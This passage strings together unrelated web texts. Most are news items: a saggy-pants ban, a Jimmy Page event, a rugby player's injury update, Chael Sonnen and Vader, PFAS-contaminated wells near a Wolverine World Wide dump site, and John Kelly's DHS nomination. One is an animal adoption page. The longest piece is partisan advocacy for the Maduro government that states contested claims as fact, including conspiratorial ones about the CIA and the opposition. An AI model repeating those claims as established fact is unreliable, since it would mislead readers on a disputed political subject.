for the challenger striking down the law isn’t going to change very much, in that intimidation and deception and deceit are still going to be illegal. But nobody is going to be turned away because they are wearing the wrong shirt.”  RARE POV: South Carolina’s proposed ban on saggy pants is not only ridiculous, but an open invitation for police abuse
-To celebrate the publication of Jimmy Page's official photographic autobiography, "Jimmy Page" — the first book by a member of LED ZEPPELIN — Genesis Publications (with Guitar World and Guitar Aficionado) will present "An Evening With Jimmy Page In Conversation With Chris Cornell".  The event will take place 8:30 p.m. November 12 at the Theatre at Ace Hotel in Downtown Los Angeles.  The audience will be invited to join Page and Cornell — the SOUNDGARDEN frontman — as they look through unseen photos and memorabilia, many drawn from Page's archives. Page will revisit memories of his life in music, "from 13-year-old choirboy to Sixties session musician, through THE YARDBIRDS to LED ZEPPELIN and beyond."  "I always like to do something different. If you're inspired by an idea, really make something of that inspiration," Page said. "That goes for music, as well as anything else, even putting a book together! To have a photographic autobiography is a totally different way of looking at things, but it does the job very well and I think it will bring a lot of pleasure to people."  Delving into his personal archives, Page has revealed unseen photographs, memorabilia and every one of his passports. His passport stamps were used to verify all tour dates, making Jimmy Page an authoritative historical account.  In addition to Page's photos and those chosen from various sources, including fans and magazines, his book showcases a collection of iconic portraits and rare images by more than 70 of the greatest names in rock photography, including Ross Halfin, Kate Simon, Gered Mankowitz, Dominique Tarlé, Pennie Smith and Jim Marshall. Page chose one of his favorite portrait shots for the book cover: a 1977 passport photo shot by Neal Preston on board LED ZEPPELIN's private tour plane.  There are many rare finds throughout, such as LED ZEPPELIN playing an impromptu gig in a nightclub in Jersey or double-exposure shots of Page and Brian Jones by Ian Stewart.  "I wanted to make it as thorough as possible, so that meant trawling through all the thousands of files that photographers had taken, and pulling from my personal collection as well," Page said. "There's a photo of me playing the guitar by the fire at Bron-Yr-Aur cottage. It's the most complete document that there's ever going to be because of the amount of time that I've put into every aspect."  Important info:  Doors: 7:30 p.m.  Show: 8:30 p.m.  Tickets: Available starting October 10 from local outlets, including Amoeba Music and Book Soup; nationwide from ticketmaster.com.  AMEX presale start: 10 a.m. PST October 8  AMEX presale end: 10 p.m. PST October 9
-Americans might be fooled by mass media misinformation, but Venezuelans know what is really happening in their country.  The misinformation in most of the media about the protests in Venezuela is astounding. Often the opposite of reality is repeated as if it were true. Americans who rely on the corporate mass media, politicians and corrupted nonprofits might fall for these tales, but Venezuelans know what is really happening.  In every election since 2002, Venezuelans have shown that their deep political education, participatory democracy and experience will overcome the falsehoods of the opposition.  Venezuelans have gone through 14 years of abuse and lies, including a coup attempt. They know what is really occurring in their economy and political system and are aware that their government is in a battle with the power of money both internally as well as with the US empire. In every election since 2002, Venezuelans have shown that their deep political education, participatory democracy and experience will overcome the falsehoods of the opposition. The violent actions of the opposition and intentional undermining of the economy are signs of an oligarch class that has lost power and is desperate. It must work outside of democracy to try to retake control of the government.  Maria Paez Victor told us that the opposition will fail because it has no political base outside of the wealthy class. She writes:  “These violent tactics have no hope of succeeding because, unlike 1999, the Venezuelan people are now organized into many groups: the communal councils, the communes, the thousands of health, security, militia, sports, educational, cultural committees. The Bolivarian Revolution has fostered, not a mass of people, but an organized organic population that makes decisions about its living conditions along with its government because Venezuela is now a fully functioning participatory democracy.”  Polls show President Nicolas Maduro is the most popular president in Latin America and the people of Venezuela are not fooled by the oligarch protests. According to a poll by International Consulting Services (ICS), 85.3 percent of Venezuelans disagree with protests mounted by sectors of the ultra-Venezuelan right. The poll found 81.6 percent of Venezuelans say that it is the opposition protests that have been violent, and 91.3 percent replied that preserving Venezuelan democracy is very important. The people of Venezuela do not want their democracy undermined by a mob demanding regime change.  The United States wants Americans to be confused because they do not want us to know that participatory democracy is possible, that people can be empowered to manage their lives and that there are alternatives to the big finance capitalism model that is failing in the United States.  Maduro knows that the real source of these protests come from the United States trying to put in place a government friendly to US interests. On February 22, 2014, Maduro made an offer to President Obama, saying: “Let’s initiate a high-level dialogue and let’s put the truth out on the table.” As you will see below, the United States is a primary player in the opposition to the Maduro government, but we know Obama does not want the US role exposed, so don’t expect talks between Maduro and Obama anytime soon.  This article seeks to address many of the common statements heard by the opposition and the US government about Venezuela because there are so many obviously false statements being made by both. The United States wants Americans to be confused because it does not want us to know that participatory democracy is possible, that people can be empowered to manage their lives and that there are alternatives to the big finance capitalism model that is failing in the United States.  Below are responses to four falsehoods followed by one truth you will not hear in the US media.  Falsehood 1: The Maduro Government Is a Dictatorship.  Venezuela is one of the most democratic nations on Earth. Here are some facts about democracy in Venezuela:  “Regarding the supposed ‘democratic deficit of the Venezuelan regime,’ the facts speak for themselves. Since 1998 there have been four national plebiscites, four presidential elections, and eleven parliamentary, regional, and municipal elections. Venezuela is the Latin American country with the highest number of elections and it also has an automatic electoral system (much more modern than Chile’s), described by Jimmy Carter, who has observed 92 elections in all continents, as ‘the best system in the world.’ “  The real “democratic deficit” has been shown by the United States and the opposition. In particular, Secretary of State John Kerry has flown his anti-democracy flag repeatedly when it comes to Venezuela. As Mark Weisbrot recently wrote “when Maduro was elected president and opposition presidential candidate Henrique Capriles claimed that the election was stolen, Kerry refused to recognize the election results. Kerry’s aggressive, anti-democratic posture brought such a strong rebuke from South American governments that he was forced to reverse course and tacitly recognize the Maduro government. (For those who did not follow these events, there was no doubt about the election results.)”  In December 2013, the Maduro government showed even greater strength in municipal elections. It won 58 percent of the country’s municipalities. Maduro and his allies gained more than 49 percent of the total vote share, versus 43 percent for the opposition. This means that the right-wing opposition coalition had now lost four national elections in the past 14 months then lost the most recent municipal elections.  Democracy in Venezuela is deeper than elections.  The opposition now knows it cannot win elections, so it has taken to trying to remove Maduro and his allies through non-electoral means. Why doesn’t the United States criticize its right wing allies in Venezuela for being anti-democratic? The oligarchs are the ones who have a “democracy deficit.”  In fact, while Venezuela continues to have a representative democracy with the election of a president, legislatures, governors and mayors, the exciting democracy development in Venezuela is participatory democracy. This is what many Americans would like to see in the United States. As Maria Paez Victor writes the Venezuelan “government is a participatory democracy that enjoys a very strong majority, the backing of all key institutions under the rule of law, and the support of its regional neighbors.”  Democracy in Venezuela is deeper than elections. It includes-worker owned cooperatives that give workers democratic control over the places they work and promotes solidarity, equality and dignity for workers. Former President Hugo Chavez created 100,000 worker-owned cooperatives in two years. In addition, democracy goes down to the community level, as Venezuelan law empowers local citizens to form community councils to solve problems in their community.  If the United States was not so busy demonizing Venezuela, we could actually learn a great deal about how to improve our democracy and evolve an 18th century-based model to the 21st century.  Falsehood 2: Maduro and Chavez Have Destroyed the Economy. Markets Do Not Have Essentials and Inflation Is Out of Control  Documents released by attorney and journalist Eva Golinger in November 2013 show a plan by the United States, Colombia and the oligarchs in Venezuela to undermine the economy to remove Maduro.  It is important to understand that the oligarchs, in league with the United States, have been at war with the Chavez-Maduro governments since Chavez was first elected in 1999. One of the consistent strategies they have used has been to undermine the economy. This is a common strategy used by the United States in efforts to foment regime change throughout the world, as it has been doing since the 1950s.  In fact, documents released by attorney and journalist Eva Golinger in November 2013 show a plan by the United States, Colombia and the oligarchs in Venezuela to undermine the economy to remove Maduro. The document, “Strategic Venezuelan Plan,” was prepared by people from Colombia, the United States and the oligarchs in Venezuela. According to Golinger, the plan was developed during a meeting with leaders of the Venezuelan opposition; J.J. Rendon, an expert in psychological operations; and Mark Feierstein, director of the US Agency for International Development for Latin America.  The plan includes a variety of steps to undermine the Venezuelan economy. They put forward strategies “to maintain and increase the sabotages that affect public services, particularly the electrical system that will enable responsibility to be placed on the government for supposed inefficiencies and negligence.”  Regarding the scarcity of goods, Golinger writes:  “Throughout the year, Venezuela has experienced problems with the supply of basic products, such as toilet paper, sugar, milk, oil, butter, flour and other food staples. Venezuelan authorities have confiscated tons of these products illegally held inside warehouses belonging to opposition businesses. They have also captured large quantities of these items on the border with Colombia, where they are sold as contraband.”  Maria Paez Victor confirms this writing:  “A double blow of outrageous overpricing of goods plus artificial food scarcity started just as people were beginning their Christmas shopping. Wealthy merchants proceeded to hoard essential goods: corn flour, sugar, salt, cooking oil, toilet paper, etc. placing them in hidden warehouses or spirited off to Colombia through a well-planned smuggling operation. The military discovered an illegal bridge built for motorcycles that carried the smuggled goods. Thousands of bags of foodstuffs were discovered simply left rotting on Colombian byways: this was not smuggling for economic reasons, but for political reasons.”  The purpose of the shortages is to create chaos, social unrest and lack of confidence in the government. In the leaked “Strategic Venezuela Plan,” it describes their goal as “generating emotion with short messages that reach the largest quantity of people and emphasize social problems, provoking social discontent. Increase problems with supply of basic consumer products.”  Inflation has been a long-term problem in Venezuela, one that preceded Chavez. Inflation peaked at 103 percent in 1996; its average during the years of Chavez’s government, between 1999 and 2012, was 26 percent. Inflation is occurring in part because Venezuela is an oil-dominated economy that imports a lot of its goods rather than manufacturing them in Venezuela.  The Chavez-Maduro government has been trying to build other sectors of the society so Venezuela does not have to rely on imports, which would be a long-term solution to the problem. In addition, when there is scarcity of products – created in part by the opposition storing products in warehouses or selling them in Colombia – prices go up as the law of supply and demand dictates.  But, as Victor writes, even the currency crisis is part of the strategy for undermining the economy: “This started with run on the currency, the manipulation of the black market dollar, obtaining dollars at preferential price from the government under false reasons.”  In December, Maduro attacked the illegal business practice of requesting official rate dollars then selling these dollars on the black market for a profit, or importing goods then selling them for far higher than the import price. He describes this as part of the “economic war” by business interests and political opponents to destabilize the economy of Venezuela. Victor says, “Maduro did not hesitate: he regulated prices and changed the monetary exchange rules and 70% approved of his response.”  The media fail to discuss the strengths of the Venezuelan economy. Keane Bhatt of the North American Congress on Latin America tells The Real News that inequality has been reduced rapidly, so that it is now the lowest in Latin America. Beyond that he points out:  “If you look at unemployment, it’s at a very low point. It’s about, you know, 6%. If you look at poverty from 2011 to 2012, Venezuela presided over the sharpest decline in poverty throughout the entire region. So it fell by 19% in 2013. Despite the problems of inflation and so on, you have further reductions in the rate of household poverty. So that fell by an entire percentage point over 2013, despite the inflation.”  Victor writes:  “The Venezuelan economy is doing very well. Its oil exports last year amounted to $94 billion while the imports only reached $59.3 billons – a historically low record. The national reserves are at $22 billion and the economy has a surplus (not a deficit) of 2.9% of GDP. The country has no significantly onerous national or foreign debts. These are excellent indicators that many countries in Europe would envy, even the USA and Canada. The multinational bank Wells Fargo has recently declared that Venezuela is one of the emerging economies that is most protected against any possible financial crisis and the Bank of America Merril Lynch has recommended to its investors to buy Venezuelan government bonds.”  Falsehood 3: The Maduro Government Controls All of the Media, so the Opposition Has No Freedom of Speech  Another argument that is being constantly repeated is the supposed lack of freedom of expression and freedom of the press in Venezuela. Once again the numbers speak for themselves:  “80% of the media is private. The three national newspapers (El Universal, El Nacional and Ultimos Noticias) are opposed to the government, especially the first two, and they bring together 90% of the readership. Of the four television channels with national coverage, three of them (Venevision, Globovision, and Televen) are opposition, and likewise bring together 90% of the audience, according to information provided by the company AGB.”  Mark Weisbrot did an analysis of Venezuelan television coverage to test whether statements by the The New York Times (and others like it) are accurate. The Times begins its news report on Friday from Venezuela with “The only television station that regularly broadcast voices critical of the government was sold last year and the new owners have softened its news coverage.” Weisbrot found the statement to be completely false. He provided links to major private TV coverage of recent events that were all supportive of the opposition and critical of the government. The interviews included all of the leaders of the opposition.  As part of the plan described in the leaked “Strategic Venezuelan Plan” the opposition seeks to: “Create situations of crisis in the streets that will facilitate US intervention, as well as NATO forces, with the support of the Colombian government. Whenever possible, the violence should result in deaths or injuries.”  Weisbrot also pointed to a report done by the Carter Center of coverage of the last presidential election campaign in April of last year. It found that the private media has 74 percent of the audience for news and that:  “A breakdown by channels shows that private stations devoted a greater proportion of coverage to candidate Henrique Capriles Radonski, his campaign events and his followers (73%), with a much smaller percentage (19%) devoted to the governing party’s candidate, Nicolás Maduro, his campaign events and his followers. … In private media, candidate Henrique Capriles received 60% positive coverage (with 23% negative and 17 percent neutral), while candidate Maduro had 28% positive (with 54% negative and 18% neutral).”  On Friday, February 21, Venezuela revoked the accreditation of CNN’s Caracas-based reporter, Osmary Hernandez, and those of two other CNN journalists sent to Venezuela to cover a wave of opposition marches. While this will be used to paint Maduro as anti-press, what it really is, is an effort to curtail the false reporting in the corporate media in the United States and Venezuela. CNN continues to report from Venezuela.  Falsehood 4: The Maduro Government Is Reacting With Violence Against Nonviolent Protesters  As part of the plan described in the leaked “Strategic Venezuelan Plan” the opposition seeks to: “Create situations of crisis in the streets that will facilitate US intervention, as well as NATO forces, with the support of the Colombian government. Whenever possible, the violence should result in deaths or injuries.” What is being seen on the streets of Venezuela is consistent with that strategy.  After the last presidential election, won narrowly by Maduro, Eva Golinger reports that his opponent called for violence: “Capriles refused to accept the results and called his supporters to take to the streets in protest, to ‘get all their rage out.’ During the two days after the elections, 11 government supporters were killed by Capriles’ followers.”  Maduro ordered the arrest of a retired general who tweeted out how to use wire to decapitate people (in fact people have been killed and injured by such tactics) on motorcycles and how to attack armored vehicles with Molotov cocktails.  Professor Steve Ellner of the Universidad de Oriente in Puerto La Cruz, Venezuela, argues that the cause of the violence is the opposition, not the government. He points out the opposition has been caught killing Venezuelans in the past, describing the juxtaposing of images during the 2002 coup against Chavez. The opposition tried to make it look like Chavez was killing Venezuelans, and the US media, including CNN, reported these false images. Later, the full images showed it was actually the opposition murdering Venezuelans.  Ellner points to violence used by the opposition in the current upheaval – including attacking grocery stores, banks, buses and government buildings. Other commentators also have described specific incidents of violence by the opposition, including killing people. Maduro ordered the arrest of a retired general who tweeted how to use wire to decapitate people (in fact people have been killed and injured by such tactics) on motorcycles and how to attack armored vehicles with Molotov cocktails. Others in the opposition have tweeted about how to use blockades and to pour oil to cause vehicles to crash and catch on fire.  US diplomatic cables demonstrate that the United States has been using tactics to try and undermine Chavez-Maduro for a long time.  This is not to say that there has not been violence by government officials as well, but it is not the way it is portrayed in the media. This review of the ten deaths thus far in Venezuela finds a lot of violence from the opposition and, in cases where the government was involved in violence, the Maduro government investigating and holding people accountable.  Truth: The United States Has Been Supporting the Overthrow of the Venezuelan Government Since Chavez Was Elected  Bhatt: “WikiLeaks actually produced a document, a 2006 cable, which … was signed by the US ambassador and described a number of positions, which included ‘Penetrating Chavez’ Political Base,’ ‘Dividing Chavismo,’ protecting US vital interests and ‘Isolating Chavez Internationally.’ ” US diplomatic cables demonstrate that the United States has been using tactics to try to undermine Chavez-Maduro for a long time.  Golinger reports that the United States has been a consistent funder of the opposition in Venezuela. She writes:  “Over the ten year period, from 2000-2010, US agencies, including the US Agency for International Development (USAID) and its Office for Transition Initiatives (OTI), set up in Caracas in 2002, channeled more than $100 million … to opposition groups in Venezuela. The overall objective was regime change.”  During this time Chavez-Maduro has gotten stronger in Venezuelan elections, and the opposition has failed to make progress. Golinger reports that the United States has more recently focused on building a youth-protest movement in Venezuela, writing:  “Over one third of US funding, nearly $15 million annually by 2007, was directed towards youth and student groups, including training in the use of social networks to mobilize political activism. Student leaders were sent to the US for workshops and conferences on Internet activism and media networking. They were formed in tactics to promote regime change via street riots and strategic use of media to portray the government as repressive”  Leopoldo Lopez has taken on a leadership role in the current protests. He recently was arrested for inciting violence and calling for the removal of Maduro. Lopez has a long history with the United States and comes from one of the wealthiest families in Venezuela. Lopez was involved in the US-backed 2002 coup and received start-up money from the US National Endowment for Democracy (NED) and its offshoots, the International Republican Institute (IRI) and the National Democratic Institute (NDI).  But Lopez’s ties to the United States go back to his time as an undergraduate at Kenyon College in Ohio. Kenyon is known as a training ground for CIA assets; it even has a CIA scholarship program. Kenyon has CIA-friendly professors, and the Kenyon Review was even funded by the CIA. Lopez spent five years at Kenyon and went on to get a master’s degree at the JFK School for Government at Harvard. With this history, it not surprising to see him involved in the 2002 coup and in the leadership of the current unrest, while the United States is funding his political party and opposition organizing.  The other major leader of the opposition is Marína Corina Machado, the president of SUMATE, another opposition party. SUMATE also received an NED grant from the United States of tens of thousands of dollars after the 2002 coup.  Wikileaks exposed the connection between the United States and opposition forces in trying to undermine the government. The documents came from the Stratfor leaks, quoting the CEO of Stratfor saying the US government is maneuvering to remove Chavez and how the State Department provides information to what he calls “a clueless US media.”  There might not even be an opposition group if it were not for US support.  Recently Wikileaks released 77 diplomatic cables that mention Leopoldo Lopez. In an analysis of those cables, Jake Johnston of the Center for Economic and Policy Research, describes how the US in addition to providing money, has provided guidance and kept the opposition from imploding. Lopez seems to be a very divisive figure in the opposition, not liked by many of his compatriots.  In fact, as Golinger reports, there might not even be an opposition group if it were not for US support. She writes:  “Their continued dependence on US funding and support – even this year Obama included $5 million in the 2014 Foreign Operations Budget for opposition groups in Venezuela – is an ongoing sign of their weakness. As a State Department cable from the US Embassy in Caracas, published by Wikileaks, explained in March 2009, ‘Without our continued assistance, it is possible that the organizations we helped create … could be forced to close. … Our funding will provide those organizations a much-needed lifeline.'”  But, with US support, our taxpayer dollars, the opposition continues. And, the United States not only funds the opposition, provides them guidance and strategy assistance, but gets directly involved in seeking to remove the government (while Kerry hypocritically talks about respecting democracy!). In fact, in the past six months, Maduro has expelled six US diplomats who were caught working with oligarchs to undermine the economy and with students organizing opposition.  The United States knows that Venezuela is the key to regaining control of Latin America, which has broken from US domination. Venezuela is also a leader in challenging the economic policies of the United States that empower private corporations and weaken the power of government to provide services to meet the needs of the people. Putting in place a US-friendly government is a top priority for the United States in Latin America. Americans need to be very skeptical about what they hear about Venezuela.
-We always have a variety of lovable cats and dogs available for adoption. Kittens are often available and puppies and small animals are sometimes available. Visit one of our galleries above to find an animal ready for adoption!  Adoption Center Hours  Monday - Saturday: noon - 5 p.m.  Wednesday: noon - 6 p.m.  Sunday: closed  Adoption Fees  Dogs - $100. Dogs are spayed/neutered, up-to-date on vaccinations, microchipped, and tested for heartworm disease.  Puppies (less than 4 months)- $125. Puppies are spayed/neutered, up-to-date on vaccinations for their age, and microchipped.  Cats - $50. Cats are spayed/neutered, up-to-date on vaccinations, microchipped, and tested for FIV/FELV.  Kittens (less than 4 months) - $75. Kittens are spayed/neutered, up-to-date on vaccinations for their age, microchipped, and tested for FIV/FELV.  Small animals - fees vary. Please contact us for more information.  Location
-There were no new developments on Monday in regards to Alex McKinnon’s condition.  The Club has continued to provide factual updates in consultation with Alex’s family at this delicate time.  Alex was brought out of an induced coma following his initial surgery last Tuesday and has been conscious since. Doctors confirmed Alex had suffered a devastating spinal injury on Wednesday. On Sunday he was able to communicate with his family after his assisted ventilation was removed.  While Alex’s condition continues to improve, his body is in the first phase of recovery. As previously shared, he has movement in his right arm and the uncertainty remains in the extent of further recovery. The doctors explained any regeneration and recovery could be up to two years.  As Alex remains in hospital in a serious but stable condition, visitation is restricted. Therefore coach Wayne Bennett visited on Monday without Alex’s teammates as initially planned.  The Club is extremely disappointed in the sensationalised television news story on Monday night about this tragic situation.  One of the most important factors for Alex at this time is hope, which was jeopardised by this report.  The Club and the McKinnons appreciate the respectful way other media have handled and reported on Alex’s condition.  Club staff will continue to stay with Alex and his family in Melbourne and continue to provide any appropriate update in consultation with his family. We again request Alex and his family's privacy is respected at this time.  To Members, fans and all who are sending their best wishes, thank you.  All offers of financial and in-kind support are appreciated however our focus remains on Alex. When the time is appropriate, the Club will notify how your contribution can be accepted.  From Alex’s family; Kate and Scott McKinnon (Alex’s parents) and Teigan Power (Alex’s partner):  “We would once again like to thank the public and media for the ongoing show of concern and support for our son and partner, Alex.  “While there is a lot of detail being reported about Alex’s condition, it is important to remember that it is still early days for him post-injury.  “Those close to Alex know he is strong, and that he is a fighter and, that alone, is reason to remain hopeful.”  Messages of support for Alex and his family can be emailed to knights@newcastleknights.com.au. All messages we receive will be given to Alex and his family at the appropriate time.  #RiseForAlex
-MMA great Chael Sonnen recently went off on Big Van Vader after the pro wrestling legend no-showed his slot on the You’re Welcome, With Chael Sonnen podcast. The former UFC star noted that he jumped through several hoops to get Vader on his show, which he did as a favor for someone else.  After waiting a full half hour into his podcast, Sonnen had tried texting Vader and even called him live on the air, but got no response. He stated that the interview was a way to give the big man an opportunity, as he recently informed fans via Twitter that, according to doctors, he had two years left to live due to congestive heart failure.  “…This guy is a carny, a flake; he was writing me like he was drunk, illiterate, dumb, or just getting ready to set me up from the jump,” said Sonnen on his show. And while he didn’t specifically mention what happened, Chael noted that he did something for Vader at the last minute after he was approached with some kind of deal, but the former WCW Champion didn’t follow through on his end and obviously blew off the show. He called Vader a “thief” and a “scumbag”.
-BELMONT, MI -- When Joel Stelt retired as a protective services worker for Kent County, he made a list of travel destinations to take his wife, Sandy, a clinical psychologist, to visit over the next decade.  Joel and Sandy invested their life savings into a home on House Street NE they bought 24 years ago because the two wanted a large lot and woods around. It was the home in which the couple planned to live out their retirement years together.  That was before Joel died on March 26, 2016 at age 61 of liver cancer.  The sudden and unexpected loss devastated family and friends. But today, Sandy Wynn-Stelt wants answers. That's because 17 months after her husband died, state workers and a consultant for Wolverine World Wide knocked on her door with terrible news.  Her well, from which the couple drank water for decades, is poisoned with extremely elevated levels of toxic waste chemicals that are linked to liver problems and other serious illnesses.  Her neighbors' wells are also poisoned, but hers is the worst.  "You lose your husband and it's the worst thing on Earth," she said, eyes watering. "But you slowly get back. You slowly kind of come back to life.... I remember in June this year thinking 'I feel like I'm getting my joy back.' And in July, I get these government people walking up my driveway saying, 'we think you've got poisoned groundwater.  "And it's just brought it all back."  According to the Michigan Department of Environmental Quality, Wynn-Stelt's home on the 1800 block of House Street NE is contaminated with the highest combined levels of perfluoroctanesulfonic acid (PFOS) and perfluoroctanoic acid (PFOA) that state toxicologists investigating the groundwater pollution have yet seen in a private drinking water well.  The combined PFOS and PFOA level in her well is 37,800 parts-per-trillion (ppt) -- roughly 540 times above the Environmental Protection Agency health advisory level of 70-ppt.  Wynn-Stelt lives directly across from 1855 House St. NE, a fenced-off property owned by Wolverine World Wide, the Rockford-based global footwear company that became a multi-billion dollar business on the popularity of Hush Puppies, a casual suede shoe worn by Hollywood stars, music icons and U.S. presidents.  In the 1960s, Wolverine used the 76-acre undeveloped land as a dump site for hazardous sludge waste generated by its former tannery in Rockford, where the company treated pigskin with Scotchgard, a fabric protector that repels water and stains.  3M developed Scotchgard in 1956 and two years later, Wolverine used it to develop a pigskin nubuck leather for Hush Puppies, which the company's website boasts today as featuring "the first performance leather in the industry that offered water, oil and stain repellency without changing the look and feel of the leather."  Six decades later, that innovation's toxic legacy has surfaced in local drinking water.  Waste barrels, leather hides dot land outside Wolverine dump "Who knows if it's under the hill where my house is built?" one nearby resident asks.  Life interrupted by a water crisis  Meaghan Schweinzger took her 5-year-old daughter to get a blood test recently.  The test was to check for precursors to a suite of symptoms health officials link to exposure to per- and polyfluoroalkyl substances called PFAS, (also called perfluorinated chemicals, or PFCs). The class of chemicals includes PFOS and PFOA, which is in her family's well.  PFOS was the key ingredient in Scotchgard.  Thankfully, the results came back in normal ranges. But any peace of mind there is tempered by future unknowns about how exposure to the water could manifest since Meaghan, her husband Ryan and their two children moved to House Street in 2011.  "That's today," she said. "Do we have to do this once a year from now on? Do we wait five years? How long until we can be comfortable with, 'OK, they are free and clear.'  "The question will forever be in our heads."  Sitting together on Wynn-Stelt's deck, the Schweinzgers and fellow House Street neighbors Tedd Ryfiak and Rob Versluis described a summer of anxiety, anger and confusion punctuated by mixed messages from experts and a growing frustration and resentment toward Wolverine and its environmental consultant, Rose & Westra, which has been their only point of contact with the shoemaker.  Normal life on House Street was shattered in July when the DEQ, Rose & Westra and officials with the Kent County Health Department and Michigan Department of Health and Human Services began knocking on doors, asking to test neighborhood well water.  Toxic chemicals pollute drinking water near old tannery dump Wolverine World Wide giving bottled water to affected homes.  As the summer progressed, the once-disparate neighbors formed a camaraderie around their shared plight. They have coped by bathing and eating meals at relatives' homes, buying office-style bottled water systems for their cooking and hygiene at home, and finding rueful humor where they can in a tragic situation.  Home improvement tasks seem unimportant now. Lawn maintenance and gardening fell by the wayside. Versluis stopped watering his lawn. His home ownership pride is lost. The Schweinzgers were planning to build stairs down to the backyard off their deck, but why bother now? They were planning to live on House Street long term, "but it's not really realistic if you can only use your kitchen sink," she said.  Feeling abandoned by Wolverine  The test results came back alongside bottled water and gift cards.  Some homes got a single 24-pack case of bottled water and two $50 Meijer gift cards from Rose & Westra. Others got a second or third case of water. Those were followed by an under-sink water filtration unit for the kitchen.  The systems don't remove all PFAS, but do bring concentrations below the EPA level. The filters don't last forever and cost money to replace.  After the filters went in at some homes (not everyone accepted the filter, or trusts it), the group of neighbors say contact with Wolverine through Rose & Westra vanished.  Wolverine's public claims of "commitment to the community" ring hollow, they say. Most left a townhall meeting at Rockford High School held Sept. 12 to address the water contamination feeling somewhat forgotten, as if the company's attention has already moved on to testing wells in an expanding perimeter around the dump.  Questions, skepticism greet Wolverine at water pollution meeting PFAS compounds have polluted drinking water wells in Belmont.  "We're all paying for our own water," Wynn-Stelt said.  "They could multi-task," she said. "They could build shoes and boots as the same time. I'm betting they could take care of us and test other wells at the same time."  After Wynn-Stelt declined to have a kitchen filter installed because she already has a reverse osmosis system that went in a few years ago, she said there's been no contact with Rose & Westra.  "I've never had contact with Wolverine. I've never heard a word," she said. "Not 'sorry.' Not 'my apologies.' Not 'F-you' -- nothing. I've heard nothing from Wolverine. It's just been Rose & Westra." And that last contact was months ago.  She wonders whether possible legal repercussions are playing a role in the lack of communication.  "It almost feels like once we contacted a lawyer, everything came to a screeching halt," she said. "Wolverine stood in that meeting, made a big deal about 'we feel your pain, we want to rectify this.' At least for me, I feel like I've got nothing."  Why hasn't Wolverine CEO Blake Krueger made any statements, asked Versluis, who noted that Krueger promoted Wolverine's $2.6 million Hurricane Harvey victim relief but hasn't publicly addressed the poisoning in the company's own backyard.  "Why not spout off on what's going on here?" he asked. "We haven't heard from him."  Responding to those sentiments, Wolverine issued a statement.  "We understand and respect the frustration and anxiety," the company wrote. "At the same time, there are no simple solutions or shortcuts for determining exactly what is happening at these sites or for setting the most effective path forward."  "On multiple occasions, including the recent town hall meeting, Wolverine has stressed its commitment to thorough testing and to ensuring residents have water they can trust during this process and into the future. We have been in contact with residents throughout the process - onsite and through calls and emails - and those wanting to get in touch can reach the company at 616-866-5627 or housestreet@wwwinc.com," the company wrote.  Many health concerns remain  In 1991, Brandi Glaske's family moved in next to the dump on House Street. She was 11. Four years later, at age 15, she had an ovarian tumor removed.  She has three children and experienced a dangerous condition caused by high blood pressure called preeclampsixa during each pregnancy.  All three of her children were born underweight. One almost died. Another was put on a ventilator when she was born. Over the years, Glaske has struggled to understand what caused her health problems when other family members have given birth to healthy, full-term babies. After her youngest was born, she decided to have a hysterectomy.  "That was tragic," she said. "It was a really hard thing to go through. No one in my family has had to go through this."  Wynn-Stelt has been diagnosed with two thyroid disorders: hypothyroidism and Graves' Disease. She's also experienced gout and reproductive issues.  Ryfiak's 3-year-old son has an enlarged lymph node on his neck, a thyroid cancer symptom. His ex-wife experienced pregnancy-induced hypertension.  State toxicologists say exposure to PFOA has been linked through human studies to kidney cancer, testicular cancer, ulcerative colitis, pregnancy-induced hypertension, thyroid problems and cholesterol issues. In animal testing, PFOS exposure is linked to thyroid and liver problems, and reproductive and immune system impacts.  Incidences like the death of Joel Stelt and other accounts of cancer and health problems on House Street and at other known and suspected Wolverine tannery waste dump sites are prompting Kent County to start its largest-ever cancer study.  A former U.S. Marine, Ryfiak is angry. Very angry.  "I'm going to ask for the world," he said. 'They have poisoned my son for his entire life. They poisoned me for the last three years. They poisoned my ex-wife. They poisoned all three of my kids."  "I want an entire home filtration system and I don't give a f--- what it costs. It will be an entire home filtration system, point of entry."  "I want health care for me and anyone that lived with me for the rest of their lives because I don't know how this is going to affect us later," he said. "I don't know how it will affect my son in 30 years. In 30 years, when my son has hypertension ... every disease under the sun because of this, is he going to be able to go back to Rose & Westra or Wolverine and say, 'Hey, you guys poisoned me when I was 3 years old. You're paying for this,' or is he going to be out millions of dollars because he can't afford his health care?"  Wolverine executive on leather litter: 'We shouldn't have done it' Q&A with Wolverine VP on tannery pollution.  Scotchgard chemical ails fish where tannery scraps litter river Wolverine World Wide site in Rockford is focus of pollution testing.  Tannery waste dumped at landfill tied to municipal water pollution Toxic fluorinated chemicals found in Plainfield Township water.
-Donald Trump has reportedly picked retired four-star Marine Gen. John Kelly to lead the Department of Homeland Security. Kelly’s selection, reported by The New York Times and CBS News, makes him the third high-ranking military officer in the Trump administration to fill a post normally held by a civilian.  If confirmed, Kelly will become the first member of the military to lead the department, created in the aftermath of the 9/11 attacks. The department has jurisdiction over a wide swath of the federal bureaucracy, including anti-terrorism, immigration and customs, and cybersecurity. Kelly retired earlier this year after a 40-year career in the Marine Corps. In 2010, his son died in combat in Afghanistan after stepping on a landmine.  The public shares the president-elect’s apparent preference for military officials. While confidence in institutions like Congress, the media, and big business is at some of the lowest points in decades, the military remains the most trusted institution in America. Over 70 percent of Americans express a “great deal” or “quite a lot” of confidence in the military, according to a recent poll by Gallup.  That confidence may overshadow concerns about stacking the Trump administration with too many military officers. “If you have too many generals in the kitchen, the dish is likely to be baked with even more military instruments inside,” John A. Nagl, a retired Army lieutenant colonel, told The New York Times in November. “I’m not sure that’s the recipe the United States needs for every foreign policy meal.”  Trump also selected military officers for secretary of defense and for national security adviser. The current National Security Act requires any secretary of defense to be retired from the military for seven years, in an effort to ensure civilians would retain control over the sprawling military branch.
